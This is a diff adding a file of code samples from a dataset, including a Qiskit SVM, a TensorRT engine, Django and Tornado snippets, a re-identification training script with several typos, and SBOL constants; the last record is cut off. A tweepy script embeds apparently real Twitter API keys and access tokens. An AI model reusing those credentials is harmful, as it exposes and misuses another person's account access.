diff --git "a/1695.jsonl" "b/1695.jsonl" new file mode 100644--- /dev/null +++ "b/1695.jsonl" @@ -0,0 +1,705 @@ +{"seq_id":"214627146","text":"# -*- coding: utf-8 -*-\n\n# Copyright 2018 IBM.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# =============================================================================\n\nimport numpy as np\n\nfrom qiskit_aqua import QuantumAlgorithm\nfrom qiskit_aqua.svm import (get_points_and_labels, optimize_SVM,\n kernel_join, entangler_map_creator)\n\n\nclass SVM_QKernel(QuantumAlgorithm):\n SVM_QKERNEL_CONFIGURATION = {\n 'name': 'SVM_QKernel',\n 'description': 'SVM_QKernel Algorithm',\n 'input_schema': {\n '$schema': 'http://json-schema.org/schema#',\n 'id': 'SVM_QKernel_schema',\n 'type': 'object',\n 'properties': {\n 'print_info': {\n 'type': 'boolean',\n 'default': False\n }\n },\n 'additionalProperties': False\n },\n 'problems': ['svm_classification']\n }\n\n def __init__(self, configuration=None):\n super().__init__(configuration or self.SVM_QKERNEL_CONFIGURATION.copy())\n self._ret = {}\n\n def init_params(self, params, algo_input):\n SVMQK_params = params.get(QuantumAlgorithm.SECTION_KEY_ALGORITHM)\n\n self.init_args(algo_input.training_dataset, algo_input.test_dataset,\n algo_input.datapoints, SVMQK_params.get('print_info'))\n\n def auto_detect_qubitnum(self, training_dataset):\n auto_detected_size = -1\n for key in training_dataset:\n val = training_dataset[key]\n for item in val:\n auto_detected_size = len(item)\n return auto_detected_size\n return auto_detected_size\n\n def init_args(self, training_dataset, test_dataset, datapoints, print_info=False): # 2\n if 'statevector' in self._backend:\n raise ValueError('Selected backend \"{}\" does not support measurements.'.format(self._backend))\n\n self.training_dataset = training_dataset\n self.test_dataset = test_dataset\n self.datapoints = datapoints\n self.class_labels = class_labels = list(self.training_dataset.keys())\n\n self.num_of_qubits = self.auto_detect_qubitnum(training_dataset) # auto-detect mode\n self.entangler_map = entangler_map_creator(self.num_of_qubits)\n self.coupling_map = None\n self.initial_layout = None\n self.shots = self._execute_config['shots']\n\n self.print_info = print_info\n\n def train(self, training_input, class_labels):\n training_points, training_points_labels, label_to_class = get_points_and_labels(training_input, class_labels)\n\n kernel_matrix = kernel_join(training_points, training_points, self.entangler_map,\n self.coupling_map, self.initial_layout, self.shots,\n self._random_seed, self.num_of_qubits, self._backend)\n\n self._ret['kernel_matrix_training'] = kernel_matrix\n\n [alpha, b, support] = optimize_SVM(kernel_matrix, training_points_labels)\n alphas = np.array([])\n SVMs = np.array([])\n yin = np.array([])\n for alphindex in range(len(support)):\n if support[alphindex]:\n alphas = np.vstack([alphas, alpha[alphindex]]) if alphas.size else alpha[alphindex]\n SVMs = np.vstack([SVMs, training_points[alphindex]]) if SVMs.size else training_points[alphindex]\n yin = np.vstack([yin, training_points_labels[alphindex]]\n ) if yin.size else training_points_labels[alphindex]\n\n self._ret['svm'] = {}\n self._ret['svm']['alphas'] = alphas\n self._ret['svm']['bias'] = b\n self._ret['svm']['support_vectors'] = SVMs\n self._ret['svm']['yin'] = yin\n\n def test(self, test_input, class_labels):\n test_points, test_points_labels, label_to_labelclass = get_points_and_labels(test_input, class_labels)\n\n alphas = self._ret['svm']['alphas']\n bias = self._ret['svm']['bias']\n SVMs = self._ret['svm']['support_vectors']\n yin = self._ret['svm']['yin']\n\n kernel_matrix = kernel_join(test_points, SVMs, self.entangler_map, self.coupling_map,\n self.initial_layout, self.shots, self._random_seed,\n self.num_of_qubits, self._backend)\n\n self._ret['kernel_matrix_testing'] = kernel_matrix\n\n success_ratio = 0\n L = 0\n total_num_points = len(test_points)\n Lsign = np.zeros(total_num_points)\n for tin in range(total_num_points):\n Ltot = 0\n for sin in range(len(SVMs)):\n L = yin[sin]*alphas[sin]*kernel_matrix[tin][sin]\n Ltot += L\n\n Lsign[tin] = np.sign(Ltot+bias)\n if self.print_info:\n print(\"\\n=============================================\")\n print('classifying', test_points[tin])\n print('Label should be ', label_to_labelclass[np.int(test_points_labels[tin])])\n print('Predicted label is ', label_to_labelclass[np.int(Lsign[tin])])\n if np.int(test_points_labels[tin]) == np.int(Lsign[tin]):\n print('CORRECT')\n else:\n print('INCORRECT')\n\n if Lsign[tin] == test_points_labels[tin]:\n success_ratio += 1\n final_success_ratio = success_ratio/total_num_points\n if self.print_info:\n print('Classification success for this set is %s %% \\n' % (100*final_success_ratio))\n return final_success_ratio\n\n def predict(self, test_points):\n\n alphas = self._ret['svm']['alphas']\n bias = self._ret['svm']['bias']\n SVMs = self._ret['svm']['support_vectors']\n yin = self._ret['svm']['yin']\n\n kernel_matrix = kernel_join(test_points, SVMs, self.entangler_map, self.coupling_map,\n self.initial_layout, self.shots, self._random_seed,\n self.num_of_qubits, self._backend)\n\n self._ret['kernel_matrix_prediction'] = kernel_matrix\n\n total_num_points = len(test_points)\n Lsign = np.zeros(total_num_points)\n for tin in range(total_num_points):\n Ltot = 0\n for sin in range(len(SVMs)):\n L = yin[sin]*alphas[sin]*kernel_matrix[tin][sin]\n Ltot += L\n Lsign[tin] = np.int(np.sign(Ltot+bias))\n return Lsign\n\n def run(self):\n if self.training_dataset is None:\n self._ret['error'] = 'training dataset is missing! please provide it'\n return self._ret\n\n num_of_qubits = self.auto_detect_qubitnum(self.training_dataset) # auto-detect mode\n if num_of_qubits == -1:\n self._ret['error'] = 'Something wrong with the auto-detection of num_of_qubits'\n return self._ret\n if num_of_qubits != 2 and num_of_qubits != 3:\n self._ret['error'] = 'You should lower the feature size to 2 or 3 using PCA first!'\n return self._ret\n\n\n self.train(self.training_dataset, self.class_labels)\n\n if self.test_dataset is not None:\n success_ratio = self.test(self.test_dataset, self.class_labels)\n self._ret['test_success_ratio'] = success_ratio\n\n if self.datapoints is not None:\n predicted_labels = self.predict(self.datapoints)\n _, _, label_to_class = get_points_and_labels(self.training_dataset, self.class_labels)\n predicted_labelclasses = [label_to_class[x] for x in predicted_labels]\n self._ret['predicted_labels'] = predicted_labelclasses\n\n return self._ret\n","sub_path":"qiskit_aqua/svm/svm_qkernel.py","file_name":"svm_qkernel.py","file_ext":"py","file_size_in_byte":8222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"214678708","text":"# Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport os\nimport os.path as osp\nimport numpy as np\nfrom deploykit.common import DataBlob\nimport sys \n\nimport pycuda.driver as cuda\nimport pycuda.autoinit\nimport tensorrt as trt\nfrom itertools import chain\nimport argparse\n\n\n# Simple helper data class that's a little nicer to use than a 2-tuple.\nclass HostDeviceMem(object):\n def __init__(self, host_mem, device_mem):\n self.host = host_mem\n self.device = device_mem\n\n def __str__(self):\n return \"Host:\\n\" + str(self.host) + \"\\nDevice:\\n\" + str(self.device)\n\n def __repr__(self):\n return self.__str__()\n\ndef is_dynamic_shape(shape, begin_idx, end_idx):\n for index in range(begin_idx, end_idx):\n if shape[index] < 0:\n return True\n return False\n\nclass TensorRTInferConfigs(object):\n def __init__(self, ):\n self.optimize_shape_info = {}\n self.trt_logger = trt.Logger()\n \n def set_shape_info(input_name, min_shape, opt_shape, max_shape):\n if is_dynamic_shape(min_shape, 0, len(min_shape)):\n print(\"error\")\n if is_dynamic_shape(opt_shape, 0, len(opt_shape)):\n print(\"error\")\n if is_dynamic_shape(max_shape, 0, len(max_shape)):\n print(\"error\")\n self.optimize_shape_info[input_name] = [min_shape, opt_shape, max_shape]\n\ndef get_input_metadata(network):\n inputs = TensorMetadata()\n for i in range(network.num_inputs):\n tensor = network.get_input(i)\n inputs.add(name=tensor.name, dtype=trt.nptype(tensor.dtype), shape=tensor.shape)\n return inputs\n\ndef get_output_metadata(network):\n outputs = TensorMetadata()\n for i in range(network.num_outputs):\n tensor = network.get_output(i)\n outputs.add(name=tensor.name, dtype=trt.nptype(tensor.dtype), shape=tensor.shape)\n return outputs\n\nclass TensorRTInferenceEngine(object):\n \n EXPLICIT_BATCH = 1 << (int)(trt.NetworkDefinitionCreationFlag.EXPLICIT_BATCH)\n\n def __init__(self, model_dir, max_workspace_size, max_batch_size, trt_cache_file=None, configs=None):\n\n if configs is None:\n configs = TensorRTInferConfigs()\n\n print(\"TensorRT version:\", trt.__version__)\n\n builder = trt.Builder(configs.trt_logger)\n builder.max_batch_size = max_batch_size\n build_config = builder.create_builder_config()\n build_config.max_workspace_size = max_workspace_size\n\n network = builder.create_network(self.EXPLICIT_BATCH)\n\n self.engine = None \n if os.path.exists(trt_cache_file):\n self.engine = self.build_engine_from_trt_file(trt_cache_file, configs.trt_logger)\n else:\n self.engine = self.build_engine_from_onnx_file(model_dir, builder, network, build_config, configs)\n with open(trt_cache_file, \"wb\") as f:\n f.write(self.engine.serialize())\n\n self.input_names = []\n self.output_names = []\n for binding in self.engine:\n if self.engine.binding_is_input(binding):\n self.input_names.append(binding)\n else:\n self.output_names.append(binding)\n\n def allocate_buffers(self, engine, context):\n inputs = []\n outputs = []\n bindings = []\n stream = cuda.Stream()\n for i, binding in enumerate(engine):\n print(context.get_binding_shape(i))\n size = trt.volume(context.get_binding_shape(i)) \n dtype = trt.nptype(engine.get_binding_dtype(binding))\n # Allocate host and device buffers\n host_mem = cuda.pagelocked_empty(size, dtype)\n device_mem = cuda.mem_alloc(host_mem.nbytes)\n # Append the device buffer to device bindings.\n bindings.append(int(device_mem))\n # Append to the appropriate list.\n if engine.binding_is_input(binding):\n inputs.append(HostDeviceMem(host_mem, device_mem))\n else:\n outputs.append(HostDeviceMem(host_mem, device_mem))\n return inputs, outputs, bindings, stream\n\n # This function is generalized for multiple inputs/outputs.\n # inputs and outputs are expected to be lists of HostDeviceMem objects.\n def do_inference(self, context, bindings, inputs, outputs, stream, batch_size=1):\n # Transfer input data to the GPU.\n [cuda.memcpy_htod_async(inp.device, inp.host, stream) for inp in inputs]\n # Run inference.\n context.execute_async(batch_size=batch_size, bindings=bindings, stream_handle=stream.handle)\n # Transfer predictions back from the GPU.\n [cuda.memcpy_dtoh_async(out.host, out.device, stream) for out in outputs]\n # Synchronize the stream\n stream.synchronize()\n # Return only the host outputs.\n return [out.host for out in outputs]\n \n # This function is generalized for multiple inputs/outputs for full dimension networks.\n # inputs and outputs are expected to be lists of HostDeviceMem objects.\n def do_inference_v2(self, context, bindings, inputs, outputs, stream):\n # Transfer input data to the GPU.\n [cuda.memcpy_htod_async(inp.device, inp.host, stream) for inp in inputs]\n # Run inference.\n context.execute_async_v2(bindings=bindings, stream_handle=stream.handle)\n # Transfer predictions back from the GPU.\n [cuda.memcpy_dtoh_async(out.host, out.device, stream) for out in outputs]\n # Synchronize the stream\n stream.synchronize()\n # Return only the host outputs.\n return [out.host for out in outputs]\n\n def build_engine_from_onnx_file(self, model_dir, builder, network, build_config, configs):\n # Takes an ONNX file and creates a TensorRT engine to run inference\n parser = trt.OnnxParser(network, configs.trt_logger) \n if not os.path.exists(model_dir):\n print('ONNX file {} not found, t.'.format(model_dir))\n exit(0)\n with open(model_dir, 'rb') as model:\n print('Beginning ONNX file parsing')\n if not parser.parse(model.read()):\n print ('ERROR: Failed to parse the ONNX file.')\n for error in range(parser.num_errors):\n print (parser.get_error(error))\n return None\n\n # check input shape \n profile = builder.create_optimization_profile()\n need_config_input_shape = False\n for i in range(network.num_inputs):\n tensor = network.get_input(i)\n if is_dynamic_shape(tensor.shape, 1, len(tensor.shape)): \n if tensor.name not in configs.dynamic_shape_info:\n print(\"input:{} with dynamic shape {} please set configs by api:set_dynamic_shape_info.\".format(tensor.name, tensor.shape))\n need_config_input_shape = True\n else:\n min_shape = build_config.optimize_shape_info[tensor.name][0]\n opt_shape = build_config.optimize_shape_info[tensor.name][1]\n max_shape = build_config.optimize_shape_info[tensor.name][2]\n profile.set_shape(tensor.name, min_shape, opt_shape, max_shape) \n elif is_dynamic_shape(tensor.shape, 0, 1):\n rest_shape = list(tensor.shape[1:])\n min_shape = [1] + rest_shape\n opt_batch = [max_batch_size // 2] if builder.max_batch_size > 2 else [1]\n opt_shape = opt_batch + rest_shape\n max_shape = [builder.max_batch_size] + rest_shape\n profile.set_shape(tensor.name, min_shape , opt_shape, max_shape) \n else:\n print(1111)\n\n\n if need_config_input_shape:\n exit(0)\n build_config.add_optimization_profile(profile)\n\n engine = builder.build_engine(network, build_config)\n print('Completed build engine of ONNX file')\n return engine\n\n def build_engine_from_trt_file(self, trt_cache_file, trt_logger):\n # If a serialized trt engine exists, use it instead of building an engine.\n print(\"Reading engine from file {}\".format(trt_cache_file))\n with open(trt_cache_file, \"rb\") as f, trt.Runtime(trt_logger) as runtime:\n return runtime.deserialize_cuda_engine(f.read())\n\n def infer(self, input_blobs):\n # Do inference\n context = self.engine.create_execution_context()\n for i, binding_name in enumerate(self.engine):\n if self.engine.binding_is_input(binding_name):\n binding_index = self.engine.get_binding_index(binding_name)\n context.set_binding_shape(self.engine[binding_name], input_blobs[i].data.shape)\n\n assert context.all_binding_shapes_specified\n\n inputs, outputs, bindings, stream = self.allocate_buffers(self.engine, context)\n\n for i in range(len(inputs)):\n data = input_blobs[i].data.ravel()\n np.copyto(inputs[i].host, data)\n\n trt_outputs = self.do_inference_v2(context, bindings=bindings, inputs=inputs, outputs=outputs, stream=stream)\n\n output_blobs = []\n for index, binding_name in enumerate(self.output_names):\n binding_index = self.engine.get_binding_index(binding_name)\n output_shape = context.get_binding_shape(binding_index) \n output_blob = DataBlob()\n output_blob.name = binding_name \n output_blob.data = trt_outputs[index].reshape(output_shape)\n print(output_blob.data)\n #output_data_blob.lod = output_tensor.lod()\n output_blobs.append(output_blob)\n\n return output_blobs\n","sub_path":"python/deploykit/engine/trt_inference_engine.py","file_name":"trt_inference_engine.py","file_ext":"py","file_size_in_byte":10206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"339113504","text":"from gestionmensajes.models import Mensaje\nfrom administracion.utils import comprobarTemporalesSubidos, obtenerPeriodoActual\n\n\ndef myprocessors(request):\n try:\n lista_mensajes = Mensaje.objects.filter(user=request.user).order_by('-fecha')\n nuevos = 0\n visto = True\n for element in lista_mensajes:\n if not element.visto:\n nuevos += 1\n visto = False\n contador = 0\n lista = []\n for element in lista_mensajes:\n if contador > 4:\n break\n lista.append(element)\n contador += 1\n dic = {\n 'lista_mensajes': lista,\n 'nuevos': nuevos,\n 'vistos': visto,\n }\n dic = comprobarSubidaLista(dic)\n return dic\n except:\n return {}\n\n\ndef comprobarSubidaLista(dic):\n try:\n listo = comprobarTemporalesSubidos(obtenerPeriodoActual())\n except:\n return dic\n context = {'listo': listo}\n dic.update(context)\n return dic\n","sub_path":"administracion/clases_utiles/processors.py","file_name":"processors.py","file_ext":"py","file_size_in_byte":1031,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"350924090","text":"\"\"\" This is an example of useing form (imperative style). \"\"\"\nfrom paste.httpserver import serve\n\nimport ptah\nfrom ptah import cms\nfrom ptah.cms import restaction, View, ModifyContent\n\n\n@restaction('extra-info', ptah_cms.Content, permission=View)\ndef extraInfo(content, request):\n \"\"\" __doc__ is used for action description \"\"\"\n\n return {'title': content.title,\n 'email': 'ptah@ptahproject.org',\n 'message': 'Ptah rest api'}\n\n\n@restaction('protected-info', ptah_cms.Content, permission=ModifyContent)\ndef protectedInfo(content, request):\n \"\"\" protected rest action \"\"\"\n\n return {'title': content.title,\n 'email': 'ptah@ptahproject.org',\n 'message': 'Ptah rest api'}\n\n\nif __name__ == '__main__':\n \"\"\" ...\n\n \"\"\"\n app = ptah.make_wsgi_app({'settings':r'./ptah.ini'})\n serve(app, host='0.0.0.0')\n","sub_path":"docs/examples/simple_rest.py","file_name":"simple_rest.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"193089190","text":"import tweepy\r\nimport json\r\n\r\n#Tong Zhao, tzhao2\r\n\r\ndef preset():\r\n consumer_key = 'Y39YTOi4e9cYsLrrdys7FmFmC'\r\n consumer_secret = 'pgBOQOIoZj6YAawvOFjNRCs5YLR7JZpvGRthbBSK9rxHB2wVpp'\r\n access_token = '595914367-U6PczRzl7v9u0HIfP9VGv39Zxz8t14XbiVusuOC8'\r\n access_token_secret = 'T7jL8KS3UCjKwwKej9D3byYd8bF42wbz1okTMxKgigP4y'\r\n\r\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\r\n auth.set_access_token(access_token, access_token_secret)\r\n\r\n api = tweepy.API(auth, wait_on_rate_limit=True)\r\n return api\r\n\r\ndef search(keyword):\r\n api = preset()\r\n f = open('output.json','w')\r\n for tweet in tweepy.Cursor(api.search,\r\n q=keyword,\r\n rpp=100,\r\n result_type=\"recent\",\r\n include_entities=True,\r\n lang=\"en\").items():\r\n tmp = {}\r\n tmp[\"time\"] = str(tweet.created_at)\r\n tmp[\"text\"] = tweet.text\r\n tmp[\"retweeted\"] = tweet.retweeted\r\n json.dump(tmp, f)\r\n f.write('\\n')\r\n #f.write('{0}\\n'.format(str(tmp)))\r\n f.close()\r\n\r\nif __name__ == '__main__':\r\n keyword = ['#Galaxy s9']\r\n search(keyword)\r\n","sub_path":"backup_codes/getData.py","file_name":"getData.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"4336609","text":"from __future__ import print_function,absolute_import\nfrom config import Config\nfrom torchvision import transforms\nimport random\nimport math\nimport numpy as np\nimport data\nfrom data.preprocessor import Preprocessor\nfrom utils.utils import save_checkpoint, load_checkpoint\n\nimport torch\nfrom torch import nn\nfrom torch.utils.data import DataLoader\n\nfrom script.train import Trainer\nfrom script.test import Tester\nimport time\nimport os.path as osp\nimport matplotlib.pyplot as plt\n\nclass RandomErasing(object):\n \n \"\"\"\n Randomly selects a rectangle region in an image and erases its pixels.\n 'Random Erasing Data Augmentation' by Zhong et al.\n See https://arxiv.org/pdf/1708.04896.pdf\n Args:\n probability: The probability that the Random Erasing operation will be performed.\n sl: Minimum proportion of erased area against input image.\n sh: Maximum proportion of erased area against input image.\n r1: Minimum aspect ratio of erased area.\n mean: Erasing value. \n \"\"\"\n def __init__(self, probability = 0.5, sl = 0.02, sh = 0.4, r1 = 0.3, mean=[0.4914, 0.4822, 0.4465]):\n \n self.probability = probability\n self.mean = mean\n self.sl = sl\n self.sh = sh\n self.r1 = r1\n \n def __call__(self, img):\n\n if random.uniform(0, 1) > self.probability:\n return img\n\n for attempt in range(100):\n area = img.size()[1] * img.size()[2]\n \n target_area = random.uniform(self.sl, self.sh) * area\n aspect_ratio = random.uniform(self.r1, 1/self.r1)\n\n h = int(round(math.sqrt(target_area * aspect_ratio)))\n w = int(round(math.sqrt(target_area / aspect_ratio)))\n\n if w < img.size()[2] and h < img.size()[1]:\n x1 = random.randint(0, img.size()[1] - h)\n y1 = random.randint(0, img.size()[2] - w)\n if img.size()[0] == 3:\n img[0, x1:x1+h, y1:y1+w] = self.mean[0]\n img[1, x1:x1+h, y1:y1+w] = self.mean[1]\n img[2, x1:x1+h, y1:y1+w] = self.mean[2]\n else:\n img[0, x1:x1+h, y1:y1+w] = self.mean[0]\n return img\n return img\n\ndef main():\n \n cfg = Config()\n #dataloading\n dataset = create(cfg.dataset,cfg.datadir,cfg.split_id, cfg.num_val)\n train_set = dataset.train_val if cfg.combine_trainval \\\n else dataset.train\n ##transform\n transform_train = transforms.Compose([\n transforms.Resize(144,interpolation=3), \n transforms.RandomCrop((256,128)),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])])\n \n if cfg.erasing_p>0 :\n transform_train_list = transform_train\\\n +[RandomRrasing(cfg.erasing_p)]\n \n if cfg.color_jitter:\n transform_train_list = [transforms.Colorjitter(brightness=0.1,contrast=0.1,saturation=0.1,hue=0)]\\\n + transform_train\n print (transform_train)\n \n transform_val = transforms.Compose([\n transforms.Resize((256,128),interpolation=3),\n transforms.ToTensor(),\n transforms.Normalize([0.485,0.456,0.406],[0.229,0.224,0.225])])\n \n transform_test = transforms.Compose([\n transforms.Resize((288,144), interpolation = 3),\n transforms.ToTensor(),\n tranforms.Normalize([0.485, 0.456, 0.406],[0.229, 0.244, 0.225])])\n \n transform_data={'train':transform_train,\n 'val':transform_val,\n 'test':transform_test}\n \n ##dataclass\n image_dataset = {'train':Preprocessor(train_set,dataset.images_dir,transform_data['train']),\n 'val':Preprocessor(dataset.val,dataset.images_dir,transform_data['val']),\n 'test':Preprocessor(list(set(dataset.query)|set(dataset.gallery)),dataset.images_dir,transform_data['test'])}\n \n ##dataloader\n dataloaders = {'train':DataLoader(image_dataset['train'],batch_size=cfg.batch_size,\n shuffle=True,num_worker=4, drop_last = True),\n 'val':DataLoader(image_dataset['val'],batch_size=cfg.batch_size,\n shuffle=False,num_worker=4),\n 'test':DataLoader(image_dataset['test'],batch_size=cfg.batch_size,\n shuffle=False,num_worker=4)}\n \n data_sizes = {x:len(image_dataset[x]) for x in ['train','val','test']}\n num_classes = (dataset.num_trainval_ids if combine_trainval\n else dataset.num_train_ids)\n \n if cfg.use_dense:\n model_type = 'densenet'\n model = ft_net_dense(len(num_classes))\n else:\n model = ft_net(len(num_classes))\n model_type = 'resnet'\n #model\n model = nn.DataParallel(model).cuda()\n #loss\n criterion = nn.CrossEnropyLoss().cuda()\n #optimizer\n ignored_params = list(map(id, model.model['add_block'].parameters()))\\\n + list(map(id, model.classifier.parameters()))\n base_params = filter(lambda p:id(p) not in ignored_params, model.parameters())\n \n optimizer_ft = torch.optim.SGD([\n {'params':base_params, 'lr': 0.01},\n {'params':model.model['add_block'].parameters(), 'lr':cfg.lase_lr},\n {'params':model.classifier.parameters(), 'lr': cfg.base_lr}],\n momentum = 0.9, weight_decay=cfg.weight_decay, nesterov = True)\n \n lr_scheduler = torch.optim.lr_scheduler.StepLR(optimizer_ftm, step_size = 40, gammer = 0.1)\n \n \n #testing\n if cfg.only_test:\n tester = Tester(fpath = osp.join(cfg.checkpointdir, 'epoch_{}_{}_baseline.pkl'.format(cfg.total_epoch, model_type)),\n dataloader = dataloaders['test'], model = model, dataset = dataset)\n tester.test_and_eva()\n return \n \n else:\n #training\n trainer = {x:Trainer(model,dataloaders[x]) \n for x in ['train','val']}\n \n x_epoch = []\n y_loss = []\n y_prec = []\n \n fig = plt.figure()\n ax0 = fig.add_subplot(121, title = 'loss')\n ax1 = fig.add_subplot(122, title = 'top1_prec')\n ax0.legend()\n ax1.legend()\n since = time.time()\n for epoch in range(cfg.total_epoch):\n for parse in ['train', 'val']:\n lossavg, precavg = trainer[parse].train(parse, epoch, dataloaders[parse], criterion, optimizer_ft, lr_scheduler)\n if parse == 'train':\n y_loss.append(lossavg)\n y_prec.append(precavg) \n x_epoch.append(epoch)\n \n if epoch == cfg.total_epoch-1 :\n save_checkpoint(state = model.state_dict,\n epoch = epoch, fpath = osp.join(cfg.checkpointdir, 'epoch_{}_{}_baseline.pkl'.format((epoch + 1), model_type)))\n \n ax0.plot(x_epoch, y_loss, 'bo-')\n ax1.plot(x_epoch, y_prec, 'ro-')\n fig.savefig(osp.join(cfg.checkpointdir, 'train.jpg'))\n time_cost = time.time()-since \n print (\"total time for training and validating:{}m,{}s\".format(time_cost//60, time_cost))\n \n \n tester = Tester(fpath = osp.join(cfg.checkpointdir, 'epoch_{}_{}_baseline.pkl'.format(cfg.total_epoch, model_type)),\n dataloader = dataloaders['test'], model = model, dataset = dataset)\n tester.test_and_eva()\n \n \n \n \n \n\nif __name__ == '__main__':\n\tmain()\n\t","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7587,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"193529499","text":"#!/usr/bin/env python\n#coding=utf-8\n\nimport tornado.web\nimport tornado.ioloop\nimport tornado.httpserver\nimport tornado.options\nfrom collections import defaultdict\n\nimport random\nimport os\n\nfrom tornado.options import define, options\ndefine(\"port\", default = 8001, help = \"run\", type = int)\n\nclass IndexHandler(tornado.web.RequestHandler):\n def get(self):\n self.render('main.html')\n\nclass MungedHandler(tornado.web.RequestHandler):\n def post(self):\n source_text = self.get_argument('source')\n changed_text = self.get_argument('change')\n first_letter_map = self.generate_map(source_text)\n change_lines = changed_text.split(\"\\r\\n\")\n self.render('munged.html', change_lines = change_lines, source_map = first_letter_map, choice = random.choice)\n\n def generate_map(self, source_text):\n first_letter_map = defaultdict(list)\n for line in source_text.split(\"\\r\\n\"):\n for word in line.split(\" \"):\n if word:\n first_letter_map[word[0]].append(word)\n return first_letter_map\n\n\nif __name__ == '__main__':\n tornado.options.parse_command_line()\n app = tornado.web.Application(\n handlers = [\n (r'/', IndexHandler),\n (r'/poem', MungedHandler),\n ],\n template_path = os.path.join(os.path.dirname(__file__), 'templates'),\n static_path = os.path.join(os.path.dirname(__file__), 'static'),\n debug = True\n )\n http_server = tornado.httpserver.HTTPServer(app)\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()\n\n\n\n\n\n","sub_path":"Introdution_to_Tornado/Ch02/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"505667883","text":"import os\n\nfrom _shutil import call_echo, cd, get_clip, get_cur_time_str\n\nif __name__ == \"__main__\":\n url = get_clip()\n\n cd(os.path.expanduser(\"~/Desktop\"))\n\n call_echo(\n [\n \"ffmpeg\",\n \"-protocol_whitelist\",\n \"file,http,https,tcp,tls,crypto\",\n \"-i\",\n url,\n \"-c\",\n \"copy\",\n \"%s.mp4\" % get_cur_time_str(),\n ],\n shell=False,\n )\n","sub_path":"scripts/r/download_m3u8.py","file_name":"download_m3u8.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"294453761","text":"from django.urls import path\n\nfrom words.views import WordListView, WordDetail\n\napp_name = 'words'\n\nurlpatterns = [\n path('list/', WordListView.as_view(), name='words-list'),\n path('word//', WordDetail.as_view(), name='word-detail')\n]\n","sub_path":"words/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":265,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"58263878","text":"import getpass\nimport sys\n\nfrom .fetch_SPARQL import fetch_SPARQL as _fetch_SPARQL\nfrom sbol import *\nfrom .cache_query import wrap_query_fn\n\n'''\n\tThis is a utility module containing classes with constant variables used for querying SynBioHub information\n\t\n\tauthor(s) : Nicholas Roehner \n\t\t\t\tTramy Nguyen\n'''\nclass SBOLConstants():\n\tRIBOSWITCH = \"http://identifiers.org/so/SO:0000035\"\n\n\tEFFECTOR = \"http://identifiers.org/chebi/CHEBI:35224\"\n\tFLUORESCEIN = \"http://identifiers.org/chebi/CHEBI:31624\"\n\tFLUORESCENCE = \"http://purl.obolibrary.org/obo/NCIT_C16586\"\n\tH2O = \"http://identifiers.org/chebi/CHEBI:15377\"\n\n\tLOGIC_OPERATOR = \"http://edamontology.org/data_2133\"\n\n\tBEAD = \"http://purl.obolibrary.org/obo/NCIT_C70671\"\n\tCONTROL = \"http://purl.obolibrary.org/obo/NCIT_C28143\"\n\tNCIT_STRAIN = \"http://purl.obolibrary.org/obo/NCIT_C14419\"\n\t\n\tMEDIA = \"http://purl.obolibrary.org/obo/OBI_0000079\"\n\tOBI_STRAIN = \"http://purl.obolibrary.org/obo/OBI_0001185\"\n\n\tSBOL_NS = \"http://sbols.org/v2#\"\n\tBBN_HOMESPACE = \"https://synbiohub.bbn.com\"\n\nclass BBNConstants():\n\tBBN_SERVER = \"https://synbiohub.bbn.com/\"\n\tBBN_YEASTGATES_COLLECTION = \"https://synbiohub.bbn.com/user/tramyn/BBN_YEAST_GATES/BBN_YEAST_GATES_collection/1\"\n\tBBN_RULE30_COLLECTION = 'https://synbiohub.bbn.com/user/tramyn/transcriptic_rule_30_q0_1_09242017/transcriptic_rule_30_q0_1_09242017_collection/1'\n\nclass SD2Constants():\n\tSD2_SERVER = \"http://hub-api.sd2e.org:80/sparql\"\n\t\n\tSD2_DESIGN_COLLECTION = 'https://hub.sd2e.org/user/sd2e/design/design_collection/1'\n\tRULE_30_DESIGN_COLLECTION = 'https://hub.sd2e.org/user/sd2e/design/rule_30/1'\n\tYEAST_GATES_DESIGN_COLLECTION = 'https://hub.sd2e.org/user/sd2e/design/yeast_gates/1'\n\tRIBOSWITCHES_DESIGN_COLLECTION = 'https://hub.sd2e.org/user/sd2e/design/Riboswitches/1'\n\n\tSD2_EXPERIMENT_COLLECTION = 'https://hub.sd2e.org/user/sd2e/experiment/experiment_collection/1'\n\tRULE_30_EXPERIMENT_COLLECTION = 